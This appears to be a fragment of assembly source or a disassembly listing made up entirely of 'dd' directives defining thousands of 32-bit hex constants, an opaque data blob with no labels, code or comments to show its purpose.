dd 117E81C5h, 40539EFFh, 3B070A10h, 0BBF099E8h, 7D74EA07h
dd 81404AD1h, 0F99841FCh, 70F0D2E1h, 0E19836h, 0CB7622B2h
dd 0DF2C075h, 1E5548h, 9FD17E3Bh, 0C4D773DCh, 0C17BE430h
dd 80579002h, 8FEDB961h, 0F1E6BE61h, 0FF55D320h, 0B111118Fh
dd 9A81A6Ch, 0D933100Ch, 181E8178h, 0B0645318h, 4376E099h
dd 23EADC07h, 9A81E561h, 10405515h, 417AE4h, 8C5CCC0Bh
dd 0A0D19331h, 0C7323C00h, 396023E1h, 57550042h, 0D7D07F7Eh
dd 3600C607h, 104BDE61h, 7673877h, 0DAE41AA9h, 0D00530D4h
dd 10071BFh, 8FEA971Eh, 0FACC429Eh, 0C7FE7h, 0BFEF3C69h
dd 0D5FFC614h, 43CF6A1Ch, 2322DF00h, 441B46h, 0A141F9Bh
dd 4B587917h, 5B242B1Dh, 39B11840h, 3D57C0FAh, 0CC001641h
dd 0AE3F10ABh, 0A000B7A4h, 0DCDB6DF0h, 90770F6h, 499A9398h
dd 0EC08817Dh, 0AF8F85Bh, 8CC00FEAh, 3C0F4243h, 0E028840h
dd 0AD0E93B0h, 20F68B22h, 0B8460773h, 5F3900CDh, 692DACFEh
dd 910319B1h, 38616E20h, 355AF834h, 1FFC01B5h, 956C5008h
dd 0AE402A8Dh, 825C1CDFh, 591E0167h, 20C75BE5h, 0AFC3C8ABh
dd 58432D00h, 96D58B0Eh, 725A005Ch, 0DA282659h, 0BC037BEEh
dd 0C1B8532Fh, 2EB1A01Ch, 6DF0A083h, 57090242h, 0CD7B3193h
dd 5C80D880h, 5F0091A7h, 520D85B6h, 67FA6E83h, 581F29D2h
dd 90A41C88h, 54C882E9h, 84500E56h, 2D489E69h, 22508E42h
dd 0D524D3B7h, 0B042B827h, 46B254Fh, 489FFC28h, 51D64295h
dd 14044F25h, 0F944AAA3h, 5D14440Bh, 4079034Ch, 0F8629600h
dd 666ADFFCh, 94F10018h, 0C34509CBh, 0CD007A44h, 2CD9B8A2h
dd 320BE8Eh, 0FD2F6324h, 7288E0D0h, 5600B03Dh, 2544F4B8h
dd 71982395h, 4FE038Ah, 7FDDCAA7h, 4BE46CB0h, 31C0EF00h
dd 0A6D341BBh, 0BCC8035Ah, 0A422CC26h, 0B5D655D8h, 0AFEBE700h
dd 83A5119Eh, 2E0D01D0h, 0B877ACF8h, 8B3ECC76h, 0D5660700h
dd 1FE5DBF9h, 82C50047h, 8152FA9Ch, 3600BC16h, 5F6CA8CAh
dd 0AC0D93h, 6F3B9FF8h, 99712552h, 739AC90Ah, 4C00CF88h
dd 0CD89A7EBh, 0E35402F0h, 15DA7D41h, 1E423C0h, 80A4643Fh
dd 0B11923C0h, 9AD58532h, 48740010h, 33DA18E5h, 4500802Dh
dd 144BA2C5h, 161C6ECh, 3D5CC99Ah, 80CDF4C1h, 9752E911h
dd 2486CAh, 5101BAA5h, 950A2A2Fh, 32B0F403h, 99639Ah, 0B97F260h
dd 6160DA31h, 4E5B660Fh, 1505A703h, 58DDF3h, 0CB2FBD46h
dd 3E765649h, 0A7C6BB00h, 0FFF2DFACh, 283F0031h, 0E6693D9Fh
dd 6A0010B6h, 8DBB4B1Fh, 0B12987h, 0FC71AA46h, 981E4D56h
dd 6637606h, 105C61h, 3C4CD59Fh, 0D5F0510h, 49343B01h
dd 53864880h, 0F3C5CCh, 0BB65821Eh, 0B8EF7468h, 1903A0ECh
dd 4C8A8025h, 5B3EF801h, 0D54707ACh, 0E071EC88h, 0B3225D42h
dd 3A2CD000h, 7552B98Dh, 0F1E200E1h, 51F8466Ah, 9C007961h
dd 1824E9CDh, 56BC88h, 8930BA87h, 0B67DE3EEh, 4F625A0Dh
dd 1C202E23h, 7B2E07C1h, 500352D4h, 9E5907D2h, 6D97AE00h
dd 0D6F54CC6h, 0BB7D0089h, 0D01B120Eh, 0FD0E2472h, 0C0E71031h
dd 8A977713h, 41B50B92h, 0A68002B3h, 5CAB3130h, 0E27D9A00h
dd 0D6EE0739h, 1420016h, 59389B7Fh, 0D9006BEAh, 6CDCFA1Ch
dd 0C2D046Ah, 36F32963h, 32F61FD0h, 100E4D00h, 2D6F019h
dd 54B60064h, 0AED7CF68h, 0E2005706h, 0C8CECA1Ch, 3CADC5h
dd 1D3FBAA7h, 29CC0D1h, 8C1B0C2Eh, 5F9D1900h, 3E8A8620h
dd 2F8042BCh, 0B483CFA9h, 3300371Eh, 6C3C6E92h, 2C1D9Eh
dd 0FC4A75C5h, 1E5E9319h, 0A0076B00h, 564B282Eh, 0C12300F8h
dd 3E5409CFh, 6A1D687Ah, 287E02Dh, 9EB0BD9Bh, 0BE2ECBh
dd 7EAA1B1Dh, 4BC945E1h, 96518A00h, 0A0E744F3h, 0E68300EAh
dd 0F5CAE00Fh, 7B00FB3Ah, 26332EDh, 1D71BBBh, 0BCB752B8h
dd 406BF5FCh, 0D26D4D8Ch, 9963Eh, 0C82503D0h, 0B1671B2h
dd 8FDA351Dh, 0E657A880h, 5D017E83h, 0CE54FBADh, 0A228A78Ah
dd 0F39E1900h, 0C3A2CA45h, 0F47A212Ah, 0C7795511h, 457EE26h
dd 0EB9E9B76h, 0A83854C3h, 3296CE2h, 70E4C247h, 0C802F2D4h
dd 0C5B4B9C3h, 43B480E5h, 0BC6A6Eh, 45EEB7D5h, 0AFE88652h
dd 69007EECh, 0B427470Eh, 0E3FB3FEh, 11F451E0h, 803B5044h
dd 0E1C6F383h, 0CC1BD700h, 0F2339AE9h, 748D00DBh, 897C791h
dd 6EF00922h, 0E1008BF4h, 0C2378973h, 865C18h, 0B32C3FD3h
dd 5EE53994h, 1FFC92E6h, 0C1E30F00h, 7E7696B9h, 0A67A00A7h
dd 0B8213583h, 0C83AE034h, 0B9D5801Bh, 0D68D66CAh, 0F8E9024Ah
dd 98736204h
dd 0B4C06C63h, 0DF00B372h, 8069B024h, 607C8F84h, 0A09718E8h
dd 4300F8C8h, 21E67994h, 1FCFFCC4h, 1F77798h, 57185C69h
dd 0A494C8EFh, 500D2E8h, 24DDA04Eh, 3FFB3B3Ah, 4814CE5Fh
dd 8901F44Ch, 0A5844F99h, 1B872F41h, 126DAEE0h, 0DF610129h
dd 438E90BBh, 498BFC4Ah, 50280900h, 0DDE336FAh, 30CB176Ah
dd 619017Ah, 4C5B00Ah, 9221F400h, 0F40EB3h, 0E48AE668h
dd 5DA7643h, 22F94D00h, 0B320F5ADh, 26FA077Bh, 30F6A533h
dd 71ED4EABh, 2A0F4F00h, 0E47BA49h, 0D77000C5h, 59219709h
dd 0B000FD7Bh, 0D067400Fh, 0E24CF12h, 92E79EC1h, 8C520400h
dd 0B4000EA5h, 0F76183DDh, 74FFCE19h, 42DA0F28h, 1B61802Ah
dd 20FED917h, 430084F4h, 0A428DB15h, 294635h, 0ECD0D58Ah
dd 0B092A5B2h, 44E67726h, 663D42h, 0C245BC08h, 0A8FA0700h
dd 0BED2BDD3h, 3037FE3h, 0BADCCE64h, 0F0E065B7h, 0EA03A78Fh
dd 6C5EE472h, 2F183FBCh, 0B30D6380h, 447B3AD8h, 4C98087Ch
dd 34812000h, 3539F34Dh, 0F46F482Ah, 400A4713h, 25B3D44Ch
dd 29013644h, 77F3A611h, 0F340D54Fh, 0F8990Bh, 0BF7C65ABh
dd 5B23A478h, 4C456700h, 0F1A7404Eh, 8C750731h, 741BE6DCh
dd 300FE7Eh, 86219DECh, 6A1E00CCh, 8FD80107h, 3D3FDEA8h
dd 0D4B38063h, 4DE5265Dh, 0DB1800B0h, 2FE658D9h, 2D00DA91h
dd 44A4956Dh, 196F37Eh, 9C69B178h, 0E345DCE4h, 0F3BB0C8h
dd 0AB515014h, 0A71F00A0h, 0C5D61295h, 0D4610444h, 856D347Eh
dd 922F804Ch, 753FCAD8h, 88E4809Bh, 0DBD6B1C4h, 461913F5h
dd 0A6500769h, 0ED9CC1C6h, 0C9BC70BBh, 0C0106A00h, 33DED93Fh
dd 748A0284h, 50BA6205h, 37954C40h, 0E3D37E13h, 6D80EC5Dh
dd 3A2A0EBh, 41AB0030h, 2B05404Ah, 9BB0F461h, 0C9099400h
dd 8AE02C6Eh, 0D6B20021h, 805D2B73h, 6F01E5A1h, 1E50908Bh
dd 41C446B7h, 0D1743F02h, 7B426D00h, 0FBE238A4h, 0A5EFE805h
dd 90803035h, 0FC0B744h, 7AD88F32h, 0EEAA65E0h, 35EC954Ch
dd 7984220Eh, 3B172015h, 0C685E4h, 1040609Ch, 26C7CA0Eh
dd 809858h, 0A8C264B3h, 7CD94Ch, 2DE03546h, 91805286h
dd 98D14Dh, 0BF166A47h, 2472F1CAh, 2456EFh, 4B6697E9h
dd 4000C8F5h, 0FF19862Ch, 0BB015h, 0EC7A01B5h, 0BBDA6C70h
dd 0AFA8E290h, 7D0C0C6Eh, 0D0F2F774h, 31A60ECDh, 82E74DB7h
dd 0A7604E97h, 0F3993849h, 243F2D00h, 2701CCC2h, 5D9F000Bh
dd 0C746CA17h, 0E22DDBE6h, 8358EDh, 0D10BA267h, 5F7C1A09h
dd 0DAD45Ch, 0FE2845B6h, 0EEDFD947h, 0E1763F83h, 42207000h
dd 0F5D53487h, 0AB181C00h, 0F3430C57h, 75800519h, 453DDD0h
dd 815F88FDh, 0AC18B0h, 3F1DFFh, 8C536AF9h, 21CAE5C4h
dd 0ED4C9600h, 68BD6972h, 45B900FFh, 7EE6C090h, 79001520h
dd 3FE11C0Ch, 73B5A8Dh, 130925C2h, 0BBD91089h, 55FC27F2h
dd 6CF83300h, 503FFE2h, 78A22EFCh, 0E1880050h, 2042131Ch
dd 0DAB50101h, 0E4D73733h, 4D28E0CEh, 0F5E12ECDh, 0F9AC0108h
dd 20FD7A88h, 5117EF0Ch, 0FD03EEB2h, 0C8930238h, 0B9C96EDh
dd 0B1884D8Dh, 0B6E9B087h, 58004135h, 9868731Dh, 802BB8h
dd 0F6F25E97h, 9CDCA1A5h, 0BE00249Ah, 5FC36799h, 0FC447A3h
dd 0E013CB17h, 0BDE92158h, 0EE0A7913h, 9E173040h, 1228E1D9h
dd 275385h, 8F92064h, 0DC00886Ch, 0C6905F5Dh, 92A178Fh
dd 795ED9E3h, 0EAB8800h, 8403D706h, 0E06AD489h, 0ED8EA0BEh
dd 0D64000CCh, 4D072752h, 994F34h, 4C4E43F4h, 266C804Ch
dd 14DD1DF7h, 0C4A84F05h, 7883200h, 6A0CB464h, 21137C07h
dd 78E2B8D9h, 3210C1A6h, 0AA842033h, 7323002Fh, 2C2DA64Eh
dd 3AD66175h, 7F63B01h, 4709D4D0h, 7EE0DEF7h, 0D110DBB0h
dd 0EC7961E2h, 0AD98B800h, 9F96F4BBh, 6B8C0719h, 0A02A687Dh
dd 611CF1B0h, 0FE000C7Ah, 0EFBA065Bh, 0D0C7D4h, 0BB22A8DEh
dd 0EA70F288h, 74B28B24h, 0AB586B00h, 0D0E872h, 0F54A40F7h
dd 69B9958Eh, 37A2DE00h, 82856B94h, 753D2414h, 97458770h
dd 18DB8058h, 9F00E7B6h, 15E625B1h, 90989D7Eh, 16B0B74h
dd 0D082E595h, 770AE0h, 0A98BC6B8h, 0FF1A3959h, 5F07DB00h
dd 0D6F32DB4h, 37CF3Bh, 746613F5h, 95E0B5Dh, 3518FCE7h
dd 0EF408C0Fh, 3C388F26h, 0E0891600h, 0B8D8637Ch, 34084C7Eh
dd 0BEA64607h, 81F747A1h, 71A92839h, 5F702083h, 0C6817205h
dd 0CC409DD3h, 66890378h, 7F11C3ADh, 93C8C569h, 77042749h
dd 6D96BAC9h, 2D3A6C80h, 1FFB00E5h, 0A67C85A0h, 440E09F1h
dd 8F35EA43h, 0A2B28h, 7C77C788h, 863A0291h, 68789D2Fh
dd 578E7040h, 802D7513h, 1D06F800h, 80E8E1B1h, 0BA094288h
dd 40CA4F1Ch, 0D38290h, 0A4F86218h, 7A1DF3C8h, 0D615C00h
dd 0DC23FE5Dh, 0E4AE008Dh, 14584857h, 0B0B66C3h, 0A4632941h
dd 0F8C09D5Ch, 88189E84h, 67007E6Ch, 0CE56F9B3h, 0E21EAC6h
dd 57BDCB0Dh, 24303780h, 52006C23h, 0B0178110h, 0BAF1Ch
dd 7634C8D6h, 0AB257149h, 2B1F8C96h, 1DB4E7D4h, 0D918B135h
dd 49E26051h, 8917945Bh, 71440595h, 8F2890E9h, 2413368Ah
dd 0FC404EADh, 0DEB91DDFh, 0D94F00A6h, 0D0FBF572h, 2700CAD3h
dd 486BAE8Ah, 0B29373h, 5F8C8B66h, 2A6DE39Dh, 0F05CB400h
dd 0DFF6AB4Ch, 0C4FC5085h, 432E0008h, 0A419057Bh, 0F8001574h
dd 4CB4F430h, 0C5DC36h, 516EADFEh, 14B36476h, 0FC654000h
dd 0D5183D79h, 0EDF0001Bh, 4F240A45h, 9B48DE47h, 43B20068h
dd 0CF5663B5h, 9D48001Eh, 0D4F03E46h, 0FF0059A0h, 51F956Eh
dd 0A242B0h, 14C4E7F7h, 7D0E2ED0h, 8D52BF07h, 0B4AE6B88h
dd 0D6D00A0h, 55A936F3h, 0C4A51F7Ah, 400A5EE7h, 0A68342BCh
dd 0F7003244h, 3CDF638Fh, 2F5B8Dh, 0B10769ADh, 7E7960DEh
dd 29A45401h, 5A412495h, 5B56034h, 49A52757h, 0AF8700CBh
dd 0A43F81F7h, 4A553B0Eh, 972A27E8h, 0DA5D5360h, 5B8602A1h
dd 3D493C0Ch, 0F34D6460h, 3E11A540h, 0F83C89BEh, 0C1247824h
dd 0CD8D559Bh, 3D2074CFh, 0D55FA400h, 518A185h, 1EB0079h
dd 9AC3171Ch, 8C7A9D1Ah, 2562B101h, 3706D0A3h, 70728442h
dd 0E629B0B0h, 2CB215h, 0AE26B8BDh, 7CD3330h, 90701309h
dd 0D1D40056h, 0EA69256Eh, 79DA3035h, 59BA0E41h, 48DEA417h
dd 0B4037312h, 0E876C8FFh, 7DF618E7h, 0D6E9015Dh, 5333B7D2h
dd 990AE0A0h, 8F7E3Fh, 0DF1A4362h, 0ED75C2h, 0BAEFE46Eh
dd 0CAEE84B0h, 47AA3D1Dh, 0E0089F00h, 2CCDEF1h, 0A34625C6h
dd 5060302Fh, 2418FC9Ch, 0D5E87842h, 0B064657Dh, 7E80FB72h
dd 87F59Dh, 8BF481Fh, 5F9510D2h, 0FD6BAA00h, 7041B552h
dd 56000ABh, 2244BDEAh, 0FC494002h, 87753818h, 5EF14F9Ah
dd 406CBCC2h, 9E2154h, 0CE9B5C83h, 7E0EDBCCh, 24F7FB01h
dd 0D50C3365h, 46E88340h, 39711C97h, 0FD22405Ch, 4F72E96Bh
dd 0BD0B1890h, 17ED9Fh, 1C8C278h, 20400384h, 0C3AC7D55h
dd 2A01690h, 3544061Fh, 5C9CC680h, 4D1F2B0Ch, 16110C3Ch
dd 9692256Fh, 0C8020084h, 0C7DD9FCBh, 65008F20h, 0D26A59E6h
dd 0C691C0h, 4BD3491Eh, 0CCB6FB28h, 0D52D3504h, 0AE004DDEh
dd 10595E3h, 33884B00h, 18D6EF92h, 9FFA0078h, 50934ACAh
dd 0F548C84Dh, 0E962005Ch, 8525EED9h, 15A5A069h, 4EAE1DBAh
dd 83F08AF9h, 5EC59370h, 0CAC5Ch, 159C3E80h, 0AA48D2F4h
dd 41B1003Ah, 0EEE493BEh
dd 9E1800BAh, 0AE538824h, 0C2B8701Bh, 0EA8D7900h, 13D76848h
dd 0B6030BA2h, 2F00F264h, 18214C07h, 9F38D23Fh, 4182E831h
dd 0C0019EAFh, 0BF8BFE7h, 0E1149C7Eh, 6AC62A83h, 5A4EA4E8h
dd 35E58200h, 59D96BB6h, 4280E9BAh, 49954A94h, 0D2B0C0EEh
dd 0FA0D6C00h, 0FD0840DFh, 0CC750001h, 651BFFABh, 90C01CEFh
dd 0E2390EF8h, 0B2050011h, 8BB61DB9h, 613B9790h, 0D84F8016h
dd 0C60DAD84h, 0CAB91E41h, 0D48500C1h, 0F5DC2A43h, 0EC021D07h
dd 1B40E55Ch, 77D6EDC6h, 0F3710575h, 0F786B6Fh, 824024D4h
dd 0CDB0D1B4h, 47D60613h, 546A9881h, 0E0D624EDh, 7C91D22Bh
dd 7492000Bh, 51F61EEBh, 0EA3F606Eh, 0E9E892CCh, 771276ECh
dd 4A2007C3h, 0E71E285h, 80BCFC8Fh, 0F63695FDh, 4C07CC65h
dd 614429C2h, 57B7B340h, 908AFF5Fh, 0CF321F0h, 0FE10949Ah
dd 85A44200h, 6CE2A4Dh, 0A15F650Ch, 0D8F8CD24h, 415D20B0h
dd 13170F1Ch, 69BE8703h, 8796D610h, 114A0181h, 0C9E815FFh
dd 78F6A6E9h, 7A00542Ah, 5F9D4981h, 2049E78h, 851D4BBCh
dd 0D2C0D052h, 0CE006CFBh, 43235977h, 604668FEh, 0D7CCE80Fh
dd 6404E2F8h, 0CE8F617Ch, 18A59C80h, 305E75A3h, 0BC896C2h
dd 0B00085FBh, 6D352C89h, 8ADD7h, 0F1827315h, 0C03C99CFh
dd 0AF963400h, 0D7FEB042h, 8CE45D19h, 0B7A4FC00h, 432C582Fh
dd 0C0A1403h, 90778FC9h, 0E27F659h, 9570E960h, 2C331720h
dd 0A3007E24h, 22F1A197h, 1463EE2Ah, 0AD777946h, 0A44CBE00h
dd 0ADCD65B1h, 846D0C16h, 19122800h, 0E5D422ECh, 0F061C9F9h
dd 0D73FC8h, 2F31A6B2h, 0C542758Bh, 0BAFC3004h, 0D080471Bh
dd 3FF879E5h, 75E0A8h, 0B65C98AAh, 597146D3h, 4096FC03h
dd 90C0D028h, 48769205h, 5D0A6483h, 1E90B9CCh, 1F8A79CBh
dd 8F4383Dh, 46BF7641h, 0DB32097Ch, 0D4805CD5h, 38B6E49Eh
dd 0ABF465F0h, 0E6FFEC00h, 57C27D34h, 9B2B0008h, 85627647h
dd 80E754E9h, 0D83FFDDAh, 967314h, 7CDCB5ABh, 27824ADDh
dd 0DEE0FCB8h, 77B8BB0Ah, 4F00AD87h, 0AC39BD0Fh, 4A981F3Fh
dd 1CD3963Ch, 1A3E40F5h, 0DAF4BA29h, 0CC38E07h, 456072E5h
dd 149F9EFDh, 0E11359A5h, 1C00BC59h, 0A3F10EAEh, 8B00DD2Ch
dd 11B7677Fh, 88FC57h, 0CE6227C1h, 0B147CA2Fh, 0E000425Ah
dd 5C6C08B2h, 0DE39001Ch, 4CE48F93h, 300DFFFh, 0D9512015h
dd 614208h, 0F19E3148h, 0FD40F65Fh, 8DE31A00h, 3FC00EAAh
dd 0D55400DFh, 77E5AD89h, 2CE8B4EBh, 6F3DA300h, 0B8F06B99h
dd 79BC00CBh, 57E33149h, 261717FDh, 4006A6Eh, 0DCEE5F2Dh
dd 547F00A1h, 0A7743E9Ch, 0BD00B903h, 97FEB87Dh, 79FEA13h
dd 8E84309Dh, 0A4EA0Ch, 50F6FDFAh, 0C300EBD5h, 45AC9367h
dd 51C73Ah, 0CB11C43Fh, 1BA70C37h, 2BB17100h, 0B665B284h
dd 6CE309F3h, 0F780802Dh, 3A767E98h, 0F452530Fh, 16835DDEh
dd 0F8DD30FCh, 249048h, 3ECAD707h, 153C47B2h, 4B96DB00h
dd 72890646h, 0B02B24B5h, 471E007Dh, 1DF07DF3h, 4E6CD700h
dd 0BED27391h, 448E3E45h, 0C91C5700h, 0A5CF9CB3h, 4C00E298h
dd 0D14B5034h, 71A0AF09h, 82470041h, 6AD88CD0h, 3C00D77Ah
dd 4A67F22Eh, 0C193697Dh, 0EB377EC8h, 62F5FC3Eh, 4D7DF070h
dd 0C03358h, 77489FA5h, 5865100Eh, 70C0E8CAh, 3D2AF6Ch
dd 821DDE00h, 0B9884E35h, 0F47F014Ah, 5FB8A2DDh, 0A080DA40h
dd 373E256Fh, 0C145B70Eh, 0E075E997h, 733510h, 4BD2B081h
dd 0FBE8C9D3h, 3637CDECh, 0F38620DCh, 6516B010h, 80E310F7h
dd 0A6C8DEF4h, 3450AC09h, 77805D70h, 404DC732h, 0C158CC61h
dd 0D34711D2h, 28D0B145h, 0B4ABD0C7h, 61003C24h, 2E7671B0h
dd 830097ACh, 0B3B6C7D3h, 35238F2h, 0B02D3912h, 309EA8C6h
dd 9030F81Fh, 79B169D2h, 186FD8h, 63B09B50h, 0BA26A478h
dd 0AA000F76h, 0F2EE446Dh, 95A797h, 0E73F0424h, 0A88417DFh
dd 0BB5C3Fh, 99908FA1h, 0A287BCh, 0D3F81B45h, 0E8B9D7F5h
dd 53FD2100h, 0E97D8670h, 42DB0EB3h, 2A80D5A7h, 3BF9A99Dh
dd 3435E41Eh, 997F4E80h, 8BDA90h, 0CB628EDh, 1C81B123h
dd 0D4F83Dh, 98CAD031h, 9A391Dh, 48155AEEh, 899B1353h
dd 0E57FCE05h, 9444B68Eh, 2C80EDE8h, 671728h, 5B04B7CCh
dd 0D38E9CBBh, 76DB8200h, 0CD3D8626h, 209A3Eh, 0B121CAF9h
dd 8A124DB5h, 0BC17E005h, 0A4D0BF6Ah, 6370A46h, 0D8B6C6E4h
dd 0E302682Ch, 0B1E5615Dh, 3538484Eh, 31E9609Eh, 69CE430Ch
dd 8C62DC00h, 0D304D0CFh, 8F953B83h, 4A782580h, 0C739D8BAh
dd 0E8A11518h, 0D68E39h, 572EC8E5h, 0C5D50767h, 0EE839A02h
dd 48F6CE75h, 0E2C6843Ch, 9F6A00ECh, 3C0AA1BBh, 0E707CBB5h
dd 2CAA909Dh, 8840B435h, 7F7EDCE0h, 113201DBh, 800D504Dh
dd 940870CFh, 0F7BD6300h, 0AC25A430h, 613A1EE3h, 0EE594766h
dd 50FA32B5h, 2508C160h, 8F87C01Dh, 63FC7400h, 24F721B0h
dd 6CA751h, 9E55E4FEh, 0B600144Eh, 623F0BA0h, 0C3B88F12h
dd 0F6F3F589h, 0C48C190h, 0E80087F8h, 0FFB34383h, 1C253247h
dd 7BE2173h, 80A1CA54h, 0A37DC79Bh, 0FFC9A3Fh, 404C971Dh
dd 21FDDF29h, 0D38500A5h, 40C8156Dh, 0F1F826E3h, 6A9CD601h
dd 0E4915DA8h, 0E7F01881h, 0F09B46DEh, 9C008B45h, 0F843C04Ch
dd 0C6D1160Ah, 38C9B220h, 20454131h, 60D6869Ah, 18A8E336h
dd 20D0F25Ah, 0CC0C2273h, 2844FC89h, 3FDBEC21h, 31F0A6BAh
dd 0C309C06Fh, 81208020h, 0FB12DB91h, 0BA350016h, 57255AFCh
dd 50C3D40Eh, 18D533Eh, 0D32CEDC1h, 8C3D4955h, 2051C378h
dd 24B140F5h, 2E461200h, 0E6961E5h, 0F4B61CCFh, 0CC680B3h
dd 0C3E4F267h, 947A9200h, 68DD08A5h, 0C1783F38h, 50B0B280h
dd 664CDEEFh, 0E3F98403h, 983C7E47h, 70F29Ah, 8524A307h
dd 39CE269Eh, 5398EF03h, 90047837h, 0DF801Bh, 5F34EC3Dh
dd 5215D27h, 44833E13h, 0D0680900h, 3B4841h, 0FCADBE97h
dd 662123E9h, 86A31301h, 0CB08751Dh, 81DC1CC1h, 9C4100E4h
dd 0A3171AAAh, 0FF0052ADh, 0A5F945A6h, 165C4DAh, 955597E3h
dd 0FCC90F5Fh, 82FAA283h, 817D190Bh, 0C8CB0CACh, 5D04A543h
dd 8E5579C0h, 69450026h, 0FB4F1B8h, 6E1952D9h, 0EC282962h
dd 0CE40F4h, 0A08EE085h, 9AABF95Eh, 6E39ECFBh, 0D23C4D10h
dd 2154B811h, 5FDD08B2h, 7843190h, 41A6480Bh, 1416D51h
dd 84113D05h, 104A1201h, 9895304h, 28A11A08h, 447C085Eh
dd 3CA07D68h, 82894824h, 6A440A08h, 5D2284A1h, 876423Eh
dd 143F9437h, 7F112875h, 3F1A2234h, 8300D813h, 245F45FBh
dd 31003686h, 0E5A9E3C4h, 5916633h, 297455F6h, 0F7C0BB93h
dd 0E2DE6344h, 0BC35509Eh, 4707002Bh, 15EF9FBBh, 0A0000351h
dd 27EEBA3h, 0C30140h, 0D8FCDB11h, 433BDC8Dh, 0E60044E2h
dd 8CDF2C27h, 884BA7h, 0B422EE09h, 89194945h, 31D43402h
dd 0C0654FB3h, 2D35462h, 4E59B1A4h, 8488727h, 9400F606h
dd 939D4686h, 1B29EA7h, 4CB67892h, 83A90AACh, 0BA73D540h
dd 0D9BC988Fh, 105900D4h, 0FA564A1Fh, 0B0F3F60h, 80F9C6A8h
dd 12C5C2A5h, 0E91F0180h, 6FCC9CB4h, 202C21F8h, 0F60C9DD2h
dd 58AD7E3Eh, 0E28BEC15h, 3CEC30C0h, 0E9F91C50h, 7C554428h
dd 80C2FE29h, 0DD1A0Fh, 0F4A8209Eh, 9F5600E1h, 5E50B89Ch
dd 0CB00C929h, 7C7EA046h, 60185DF2h, 1A54D0BAh, 0F86051FBh
dd 8D2D8EA0h, 0DA4B0CEBh
dd 6988B843h, 7300D0ECh, 0EDACBAF8h, 322795h, 896AA040h
dd 39BB0F29h, 0EC8A4E02h, 0E0DF4BADh, 98EA76h, 0C7933166h
dd 2590B568h, 0A9008E7Dh, 0A13E99Fh, 385BE7ABh, 0CA07708Bh
dd 0F06E0FBBh, 9843F667h, 0BAC19000h, 0B3B4507h, 0A4AE3DF7h
dd 9A806500h, 0FF09576Bh, 0CBF47900h, 7FFA3482h, 366E2A3h
dd 3B107B93h, 31F05AE8h, 910018D9h, 0EC78E7FCh, 1ED7AD4Fh
dd 0C0FE6A40h, 24B55561h, 8D003B2Ah, 0DB3E0C1Eh, 2848F1F0h
dd 0DF7622h, 4D9F5843h, 3E1668B0h, 132CD000h, 0EC8CCDAh
dd 0F65501F5h, 0AA401FEEh, 0D926C857h, 154885E0h, 50383A1Ah
dd 0EF3FCCACh, 0EEE51447h, 2A0902FCh, 484DF70Fh, 1429FA0Ch
dd 0F44290DDh, 0CDFD8007h, 8362E4E5h, 43E8D744h, 413C15FCh
dd 45F58006h, 1ABEAA6Ah, 5F7603E5h, 637927A4h, 428023A0h
dd 3FCC3700h, 0ADE3B386h, 0FE481DA3h, 0F611C15Fh, 0FC46825Eh
dd 6200E1ECh, 561D7B7Ah, 65DD994h, 33F44E4Ch, 9F0BD04Dh
dd 0DCDE126Eh, 24C01CF5h, 68761870h, 8C004A73h, 866BEBB2h
dd 0A10B60h, 4384698h, 5649ACB0h, 81B46339h, 9B34AA61h
dd 38F09FE3h, 4222C064h, 76822EF6h, 4F0FA776h, 406AA323h
dd 0CD14E034h, 73F90083h, 0DF622F38h, 1898C0A5h, 9F119600h
dd 13A00843h, 56F103ABh, 76C95334h, 2B014998h, 0BD3E5500h
dd 4EB2947Dh, 7006988Bh, 360F031Bh, 0A39FE0B1h, 40239ED8h
dd 2AC2FB00h, 39CADE5Bh, 65E10046h, 0B57FE3A4h, 0D200A207h
dd 0ADF3226Bh, 129960h, 7196819Ch, 54E92BE3h, 8975263Bh
dd 37B309Bh, 990D2EB8h, 1C34F599h, 37F103DDh, 551FDC3Eh
dd 0A47728D8h, 0D519B824h, 6C49E81Eh, 7C400C5h, 75F293h
dd 0A024A1DEh, 98377D1Ah, 0A5438601h, 0C66A10ECh, 13AEA070h
dd 4009829Ch, 77CEBC1Ch, 6600279Eh, 34D9D150h, 0FE2C6A97h
dd 0F9680799h, 10BBE972h, 4E15B93Bh, 0CF013890h, 4BE6C419h
dd 0DC41A045h, 0C5FD2599h, 3EBAD1F0h, 48C5DABh, 8180F554h
dd 3A2CF477h, 5B81947Fh, 0B6C4B763h, 0B164F440h, 40695420h
dd 404A4126h, 4F0A1C14h, 0C1036C90h, 6840E98Bh, 88C686h
dd 0BEA60682h, 9CAF19DFh, 0C85F8C2Ch, 501DD483h, 34702869h
dd 752AFCA8h, 0CDAE00F4h, 734FF674h, 650088F1h, 0C09EABE2h
dd 5D12EEh, 0F6247AEBh, 526DBF13h, 818E4638h, 4A372C6h
dd 0D8FCD547h, 0F2D100FAh, 756935A0h, 0FF00F1C0h, 0BDE7D2A7h
dd 7A261F9h, 634C6ED1h, 8122B0A0h, 6B00C6ABh, 0E2323D18h
dd 0D6BDF0h, 0D408DAFEh, 3F62F47Fh, 0F6E2C00h, 58F650A8h
dd 7D0A3EECh, 0CF005BC8h, 0EF286D29h, 61003F40h, 0EDDBA446h
dd 18C86F1h, 1DB9813Ch, 0EC93CF3Ah, 97005F9Dh, 1B2A371Ch
dd 80EFA5h, 0B39F12CEh, 69430896h, 3DDD748h, 2DC8C0BEh
dd 49D5908Ch, 0F44F0265h, 0C3A0E6FDh, 5452F440h, 0E8005A7Ah
dd 0AA32E42Eh, 46F23D7h, 8E7AFB4Eh, 208CC762h, 0CFD2F79Fh
dd 7491A207h, 57108456h, 0C39BCBh, 5B9C4B44h, 6BBF40AFh
dd 9034607h, 0C1181EAh, 1FD44835h, 0FDF0073h, 0C6844453h
dd 6B00C558h, 64D0A9F6h, 1DCB1A8h, 56996659h, 6176AB01h
dd 7F852005h, 0AAF37900h, 0B0CF6F88h, 3C5E0B2Bh, 3800AB56h
dd 0FB97D428h, 7C2A400h, 5E1411FCh, 50320042h, 94278CD6h
dd 0BC0097CFh, 92B62B15h, 7621CDB4h, 5C0F0B05h, 0E8000256h
dd 49B16CD0h, 3AFE7A90h, 0FB5AAD01h, 813D9AA8h, 0AF1BCCh
dd 442F09E0h, 8BB19B99h, 8E2B6C00h, 0A37EE820h, 4CD10F84h
dd 26E3FF74h, 2CE270F6h, 0F7D8FC40h, 7F347307h, 1E5DAFh
dd 0FDB73A1Eh, 8A5E0078h, 7B547758h, 0C6016287h, 9EEAFACEh
dd 36E047A7h, 3C8F00D6h, 0AD762EA1h, 0C0505284h, 6574BFDFh
dd 72A57800h, 6A1C40Ch, 0F64F00B1h, 0EB5903F4h, 330094E2h
